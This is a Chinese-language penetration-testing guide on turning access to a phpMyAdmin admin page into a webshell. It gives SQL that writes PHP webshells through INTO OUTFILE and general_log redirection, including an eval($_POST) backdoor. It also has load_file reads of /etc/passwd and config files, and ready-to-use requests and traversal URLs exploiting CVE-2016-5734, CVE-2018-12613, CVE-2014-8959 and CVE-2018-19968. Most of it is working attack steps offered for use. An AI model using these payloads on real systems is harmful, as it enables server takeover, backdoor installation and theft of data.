參考文章
phpmyadmin4.8.1后台getshell
phpMyAdmin 滲透利用總結
CVE-2018-19968 phpmyadmin文件包含getshell連載
前言
拿到一個 phpMyAdmin 管理頁面后怎么 GetShell ?
信息搜集
版本

注:phpMyAdmin 版本還可以在這里查看
自帶文件/phpMyAdmin/README

獲取網站真實路徑
-
phpinfo
phpinfo 頁面泄露,具體在_SERVER["SCRIPT_FILENAME"]、_SERVER["CONTEXT_DOCUMENT_ROOT"]、_SERVER["DOCUMENT_ROOT"]、Server Root等處
如:

-
讀取配置文件
MySQL load_file 函數讀取配置文件
條件: 執行select @@secure_file_priv得到空的返回值,而不是 NULL;文件大小不能大於PHP限制的max_allowed_packet,同時magic_quotes_gpc=off

其中:
當 secure_file_priv 的值為 NULL ,表示限制 mysql 不允許導入/導出
值為 /tmp/ ,表示限制 mysql 的導入|導出只能發生在 /tmp/ 目錄下
值為空,表示不對 mysql 的導入/導出做限制
默認配置文件有:
Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虛擬主機配置文件
Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虛擬目錄配置文件
具體命令:select load_file("/etc/passwd")
-
@@datadir參數看 mysql 路徑 反猜絕對路徑
select @@datadir

-
構造報錯頁面
輸入一些錯誤的路徑,導致網頁報錯(頁面訪問報錯,sql 注入報錯、文件包含報錯) -
特定 CMS 默認路徑
dedecms:
/member/templets/menulit.php
plus/paycenter/alipay/return_url.php
plus/paycenter/cbpayment/autoreceive.php
paycenter/nps/config_pay_nps.php
plus/task/dede-maketimehtml.php
plus/task/dede-optimize-table.php
plus/task/dede-upcache.php
WP:
wp-admin/includes/file.php
wp-content/themes/baiaogu-seo/footer.php
其他可在網上搜索
- google hack
利用 百度 谷歌 fofa zoomeye 等搜索引擎
搜索關鍵字error等等
一般版本 GetShell
前提條件
查看讀寫文件路徑:show variables like "%secure_file_priv%" 或 select @@secure_file_priv 結果為空
常規寫 shell
需要知道絕對路徑、數據庫root權限、數據庫有寫權限
具體語句:SELECT "<?php phpinfo();?>" INTO OUTFILE "D:\\software\\phpstudy_pro\\WWW\\shell.php"
注意點:windows下,須要雙反斜線,否則會轉義
然后使用菜刀/蟻劍等鏈接即可
日志寫 shell
MySQL 5.0+ 的版本會自動創建日志文件,且在服務運行的情況下修改全局變量也是可以變動文件位置的,但須要對生成日志的目錄有可讀可寫的權限
general log 指的是日志保存狀態
show variables like "general_log%"; // 查詢日志保存狀態,ON代表開啟 OFF代表關閉。
set global general_log='on'; // 設置為 on
general log file 指的是日志的保存路徑
set global general_log_file ="D:\\software\\phpstudy_pro\\WWW\\shell.php"
由於執行的語句都會寫入到日志文件中,所以我們查詢語句select "<?php eval($_POST[R0oKi3]);?>"便會將其記錄到指定的日志文件中
然后使用菜刀/蟻劍等鏈接即可
特殊版本
phpMyAdmin 2.x版本 反序列化漏洞任意文件讀取
POST /scripts/setup.php HTTP/1.1
Host: www.test.com
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
phpmyadmin 4.0.x/4.4.x RCE(CVE-2016-5734)
POC
條件:
phpMyAdmin版本:4.0.10.16之前4.0.x版本、4.4.15.7之前4.4.x版本;能登陸后台;PHP版本: 4.3.0-5.4.6
用法:python cve-2016-5734.py -c 'system(id);' -u root -p root -d test http://test.com,注意: -c 指要執行的 php 代碼
phpMyAdmin 4.8.1 文件包含漏洞(CVE-2018-12613)
- 利用方式一
前提:能進管理頁面
- 訪問 http://test.com/index.php?target=db_sql.php%3f/../../../../../../../../etc/passwd 頁面
- 執行如下 sql 語句 SELECT '';

- 查看自己的 seesionid

- http://test.com/index.php?target=db_sql.php%3f/../../../../../../../../tmp/sess_ 4u1jrl5dd5eshq332kto80bpp0qnmn0e 即包含你的session文件,即可 getshell
- 利用方式二
前提:能進管理頁面,查詢數據庫絕對路徑
- select @@datadir; 查看數據庫絕對路徑
- 創建數據庫,並插入 php 一句話
CREATE DATABASE test;
use test;
CREATE TABLE test(code varchar(100));
INSERT INTO test(code) VALUES("<?php phpinfo(); ?>");
- 包含該數據庫文件
http://test.com/index.php?target=db_sql.php%253f/../../../../../../../../../software/phpstudy_pro/Extensions/MySQL5.7.26/data/test/test.MYD
phpMyAdmin 4.0.1--4.2.12 任意文件包含(CVE-2014-8959)
前提:能進管理頁面;PHP版本 < 5.3.4(00截斷);已知網站絕對路徑
http://test.com/gis_data_editor.php?token=你的token值&gis_data[gis_type]=/../../../../phpinfo.txt%00
可找上傳點上傳圖片馬等文件 getshell
phpMyAdmin 4.8.0--4.8.3 任意文件包含/RCE(CVE-2018-19968)
- 登陸后台,創建數據庫
CREATE DATABASE test;
CREATE TABLE test.bar ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO test.bar SELECT '<?php phpinfo(); ?>';

-
訪問
http://test.com/chk_rel.php?fixall_pmadb=1&db=test頁面 -
查看 COOKIE 中 phpMyAdmin 的值

-
將表 pma__columninfo 中將 sess_*** 中的 *** 替換成你剛剛查找的 phpMyAdmin 值
執行下列語句:
INSERT INTO pma__column_info SELECT '1', 'test', 'bar', 'baz', 'plop', 'plop', 'plop', 'plop', '../../../../../../../../tmp/sess_5459575785b3388d23cce3644f2c482f','plop';
# 注意,這里的 sess_5459575785b3388d23cce3644f2c482f 文件需要改成自己對應的文件

- 訪問
http://test.com/tbl_replace.php?db=test&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
即可看到惡意代碼已被包含

